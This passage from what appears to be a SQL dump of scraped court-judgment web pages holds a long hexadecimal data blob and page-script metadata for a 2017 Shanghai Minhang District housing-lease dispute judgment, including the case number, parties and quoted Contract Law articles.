45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB3C32159002E7563AC1846672****AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72203FE29C4AA19C157994C4931107839E5BF66A277D511787376F76E5B73B1191128491661B3C72C7A47C5AC197DF54B67F2E9296A5103F143588F9B100347D063009F615284D8FCE330B0549018D6CB13FB9B4ECAB870FCFDF12F5AC135F7F8CE1A76189664BE433683D92C78A6F203DBE8592F46AD7DBD6A5C023DD47063DDEF4DAF9D3D5B65876405CF09696FEE34816011B1BC33DE8C083910EAFA0EFD974B8131B7DE1B14D253F336936015A459B81CFC7366C4A4264E09C63F660CA9284A0F1D6A99964DF01B1DF71BF7BD8FC48A66C10082442BC600438AF736396FDFC50C66290A510FD1205CF71322528F33BAEDBAA3DEA409ECF4E46466B9090C7957C3ABA352973FF910467D450F01B35EB017977C95AB491326759213CA30097804C19D4234E2FF337D0B4F2A8557F7ECE4D89A01CFF110F7F5BB2AF532604633FCC78622592E56B61F16E0A996FADA5C08A4B570358B26747096664930AB59C1E4982C193581CA299257AD5941604F54C36A46B1BEDF52CDDE8B00A573D4521C2C3CE11E175B12DFE4BAC609EE1695B439FAF77A41BEA95EB020A8F2A58A3469363D193846A59AC5AAA726BD307BA7E356BB6B6A45E98811A4266FB21E20BCD790D9EEC41A8D5B8D87127C27967DDF2CF026F06ED0CC874654688409C3E0972F4E97E2329851D214139C0B0D9AB4BB79DD08C3EC4D2A2696A8B1BB88C52654AD1E7B2EFC49CD1F422F521D3303117807EA90C2ECCCAAC75190D69B45C9DAAC2E4943300E6FE97801DD230831F8A9F7999B70B96166D1B0370F2A4A1328D2B014BE16AADCF00264F37887981D001F23F6DADDDFF3040CF7CDDD332A19C166D4D2D1EA7AB366BD6531100E03DFA81BF81562228B5C51F7B4FB2645983DF8B506E8732F49E1557F8A18A7C2BF98301AA272767D239AE145C7D2533F10B32F6378EF4D881741E3C23C2C16AC6697DE0F6DFB5F3CC23DF1055D5E93F1D8E9E61E0726C56B69F341FF0C73BD213123D9E2C442BC179BAFF7941F5E7DA15C78036720B517B00D4F6D542C8A5DC208587817FBF3701326D171FF05984D62769C8E5C4D7CA3121154589C53F7D35E84198F19CCC1DCE62630A45E8E53D6550CE3BDB11C42783143838681856A252918D20C79C608D1A4593423470506A3264783F46DBD18E66F0902436ADDF7C369A4E104139A03768A208605EF30B321FF85E5528C4C8822277561E576004B9423BEE6D7D39BCD2082536EFFBB07080231F2027F122240EDD314A67D66DE174C20171BC91BF9A660CD6A5663852BC586C1ACD20820C4C8828B5C0117633659100C661578A2436046BC05BD81F1438C091EBF6B8D89BDBDD93BB0B55AEE2D64C4A2D8248A753A35D76F42CC1E9C4DF7508A5DB4B463F34CF9FC7ECFE7A696B166C4704993BA9BCCCD6605A6746019E2B3E831BE9A1D62D3462A1360A384A3B9C998900911B8129A3D6A56E63514FF62040C280557FF67F7CEE7C3BD107970F7BA052513D60C6058246EE4056976185D9BE0C101A5C206B18BD730DDEC7C53F78EA7C0051370085292C60011AF0E31925BFC32B15965E1C850077D725DC7CFA966C0AC0D104402B3E80500DFC7D1A3626FCAF9C98421E4D88F92E3A9970E66B3801704C43FB92034813FDB200E5D0FE346F5DCABDDB8E5C40B4693A5CD7F4D78C99A86453B2DBAD19162EE3B56F3D463DF81DC973F90F7033F55F79D83498D7AC18A0DD4CDE56A484190629EA49FC14D2E555ACEA91B4AE10561D29DB710DE5EB28A34D1465CDE3CC9CDD3A1C2E9A72A0FE0DC531DD08D95E14EAD4AAE0EEF0DA3B355488B4D8859CC561393AB7044E0178DF77D20C5CC46B1AD1493B158C3A03912C92B36AC59AB93128CC9D42C30A911B700142FC29B31AB3843C1A426CC62DA10F77CCD62C53F685B5A1EF757F1E44D9800CF4C82EE96C6A437C930B032F4F63F56387AF305C06D45BDB0F7E02236810C91E63D048244B0EC4ADDEA958CDE83389207E8A81B4FF734DB27CF2E3366CC629DEAD7764588BD604904E54297B6B7381450431F447ADD2BF1D71A46B378C9D639D061524CB6E144463183823168E20B9F966A745E2A5324D75B2A865BE8241672FAF0CC7D64C1EA4DDF09737C56CF0583A416CF0345071D6AC54FA5C56289B8E2103103955CE94D9A116A80D500C368463030BAD3846644D6C8FDD7DD025B720242E7C741F77487D39326CDA04DE866D98C1846441F13D104FCBD4B60761E7D53A35E2453576EED35292A108B62CDC8FAA95213081251B091426C33180140728A6661F8ED7D1CD4601F50F7E1F382611214AC4092152486410428553B4A6FD20C1EFFE4F1BE318BD9EDBDA03F43A91770CF69568421799BE66911849AC4DA056C14A966C8347EE35865EBBB15F70AC251CB44D990726F4409553966BC17A415415E9A96DBDFFA78165216934F4F2E734A44B97FD5EC10B75914A3D98B8B1911825259C70A9FBD4935075721F3290316350B1D3B4421141747661561A9620BADD526307B110E77503D3F6C08F5654DBE7D70B0756CC6EDC244036B43DC8A1ABB37031287195009FA4BA4593360104C2D3E158F1475F3AB7A63650326E8AABB10045261FC33C0A06015865526B990070E4324282811EFC526545E6914AB0F51180400FF25A0822D5520A498674B9E07C508901138FBDAED7FC204002000808003042001060007CE35F3160680040401021B86C59A730E0A1B2B30B9AD39F72A1D402A01001562CEB9D73A80020F38222874049C00910A04CAA7EA80FC3769B0360BD590005B1748002C55FF8E894DE88155A4327183BEA1FA235E315DEC8D4D904975390145A8BD776BAAE1E90B551B61867BDD7BED986A41BA88201900B9EE39371A9C8D8A20EFBAE7DCECC0189E0DE519800EAFB977C6B30A0C1B7D1ED91E0B80B13C8036339834AA8DAA55757784CB0A783B5C5F9F8DBA7E6EFB9190F03835383606D82AAB66767BEFECF07B3F8304A30E880EEF3D3777C18887533D173BC42283DF1A2A3DF762CF0EA92E48A3A07203E08D4F80ABCC5AAC23CC861C3494228322057C54D533D0AAFF370889D4836DA833F75DA8FFB5BC7691AA9B8F45A050994A853037E134ECBA5C94DE00FFA6F70ECFBD88A80AE8908C8BBDC7848344D62EEFDF7B6E16F1271326B1202FB8D87B5546B96DF5FF75D07F23C0747CA82C38346832343537B07755E760606A0001120C73B97B46FBB8345B33C9E97A17C1874384D8521FF2C87807C37B991444557AF1DE8B4580C1BA118D7788C5880A35BD724944F01E87872D4241F000D0A989E983E1D135FE5900815DD4A4019D1F49E1300360D0DA5FFAA0A375BC38333732FA380508F8823FB9299F819D58814DD8373784B1BB06C3E4C067EC04BF043A84201DDE8CD03E6E47ECBD58032419DBE578B3C3A48274EC12BD18B177A9DD10D558350836F70F838470C410219700FEAD75E46A37DC6D8489E0877BBC314EB83736BD6CB852C02914CC3861F72F04FAF4314DF80175F4B250B1CFCD728717AF44A448DE3BCC2264C36FB203BD779AC527A57ECCD6E13DDF8B0BA44580801A98C50A983582D21E16C0AF7E93B835B438310B47BE0025354E819044A120593F2155E8659408BB5F3E3537318432333635B76C0B115EB11887F32E6F317BAF1931A295CECB1A8CC321D25E6759C1263D82C026B902383C9EE90620E52C077F0AF80A49DCC775803281096F155A14463A095DB86B80ED353250A04921D0FE3762AD9EE52832017DEC8355CC36313823C231185B4D5E01002FF622CC87D9A77AAF638F177BA122A7A7C420DCB0777A150A92CB908AF0DEE9C600BE43B3B8BB25D92A5C9333319A353333B625157C5A5EEF58D3BC015F5F53B50C38FD16DD0C73185A20E6B952381C5E8C2E916B285169C23B4C4838BF3A84D8736FD6D10807E6E063C68BBD0A0FBA20C68057A4172DC3F18815B984C8D8DAADF335C61BF8BE06884D00360A01C2F71C1964F7BD52E952D963A610AC58A79DB24C64FC43B1923083C31F48401C66BCE781AC9BD1FA358CF7269DB9C1E96F1211826D9F06D481C06C7F0F506A388B709964899764679707B4A480779C4F60423734373314566BFAF5318D73197DC784D1540E014B8D3AC390CE7AB326FDBD70FC71D19248F662CC4B02CCD78C482F766887A0844A62B3F75EA610202ABB10DE7B3D5A4DE82433239F476244C2A43134C0389CEC5C0527F49FDA70578D603A93780F98FCF0DC0A7051E1D0323420193C9E7C7F860058B1D39B75AD24BCAAA6EFC51812C55A02DEBDD72C12EEEC80AFC40E41E0F02EAF59023E087E70838D0429010B10371D55EC396040502218A00106418B84516369F1D3B98678ECCAD9D8FF4D94A513626C95C466A581A362BD9D8B31A3BD71B767498BCD70B3CFB5D6B084C466B31783A01EB884494C3A5ADF2B67D969E6DEBF0139AC140E192C82FB3032808814E08C586916DA4D9BCA76A9346035ABA04070ACF73BE1399E11F05753CB683550601CA9DD256ADE68E0A9646AA7318919AF36D1CE6F081D82415022069B8DF44EB5061D00B9332F166BC6768DDEC905B3081615E6072FCA1B8031383','2018-10-11
03:15:09',0,'web',NULL),(24852237,'f3ebf7bd-014c-46ff-9291-a8f20021bef6','$(function(){$(\"#con_llcs\").html(\"浏览：92次\")});$(function(){var
caseinfo=JSON.stringify({\"文书ID\":\"f3ebf7bd-014c-46ff-9291-a8f20021bef6\",\"案件名称\":\"翁新娟与上海金盛家居市场经营管理有限公司房屋租赁合同纠纷一审民事判决书\",\"案号\":\"（2017）沪0112民初22421号\",\"审判程序\":\"一审\",\"上传日期\":\"\\\/Date(1527782400000)\\\/\",\"案件类型\":\"2\",\"补正文书\":\"2\",\"法院名称\":\"上海市闵行区人民法院\",\"法院ID\":\"911\",\"法院省份\":\"上海\",\"法院地市\":\"上海市第一中级人民法院\",\"法院区县\":\"闵行区\",\"法院区域\":\"\",\"文书类型\":null,\"文书全文类型\":\"1\",\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"不公开理由\":\"\",\"DocContent\":\"\",\"文本首部段落原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"诉讼记录段原文\":\"原告翁新娟与被告上海金盛家居市场经营管理有限公司（以下简称“金盛家居”）房屋租赁合同纠纷一案，本院于2017年11月13日立案受理。依法由审判员邹巧弟适用简易程序于2017年12月5日公开开庭进行了审理。原告翁新娟的委托诉讼代理人潘晓枫，被告金盛家居的委托诉讼代理人成文霞到庭参加诉讼。本案现已审理终结\",\"案件基本情况段原文\":\"\",\"裁判要旨段原文\":\"\",\"判决结果段原文\":\"\",\"附加原文\":\"附：相关法律条文\\\u0026#xA;《中华人民共和国合同法》\\\u0026#xA;第一百零七条当事人一方不履行合同义务或者履行合同义务不符合约定的，应当承担继续履行、采取补救措施或者赔偿损失等违约责任。\\\u0026#xA;第二百三十五条租赁期间届满，承租人应当返还租赁物。返还的租赁物应当符合按照约定或者租赁物的性质使用后的状态\",\"文本尾部原文\":\"\"});$(document).attr(\"title\",\"翁新娟与上海金盛家居市场经营管理有限公司房屋租赁合同纠纷一审民事判决书\");$(\"#tdSource\").html(\"翁新娟与上海金盛家居市场经营管理有限公司房屋租赁合同纠纷一审民事判决书
（2017）沪0112民初22421号\");$(\"#hidDocID\").val(\"f3ebf7bd-014c-46ff-9291-a8f20021bef6\");$(\"#hidCaseName\").val(\"翁新娟与上海金盛家居市场经营管理有限公司房屋租赁合同纠纷一审民事判决书\");$(\"#hidCaseNumber\").val(\"（2017）沪0112民初22421号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"上海市闵行区人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"911\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"上海市闵行区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"房屋租赁合同纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2017-12-12\" },{ name: \"当事人\", key:
\"appellor\", value: \"翁新娟,上海金盛家居市场经营管理有限公司\" }],LegalBase:
[{法规名称:\'《中华人民共和国合同法》\',Items:[{法条名称:\'第一百零七条\',法条内容:\' 第一百零七条
当事人一方不履行合同义务或者履行合同义务不符合约定的，应当承担继续履行、采取补救措施或者赔偿损失等违约责任。
\'},{法条名称:\'第二百三十五条\',法条内容:\'
第二百三十五条 租赁期间届满，承租人应当返还租赁物。返还的租赁物应当符合按照约定或者租赁物的性质使用后的状态。
\'}]}]};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"翁新娟与上海金盛家居市场经营管理有限公司房屋租赁合同纠纷一审民事判决书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2018-06-01\\\\\",\\\\\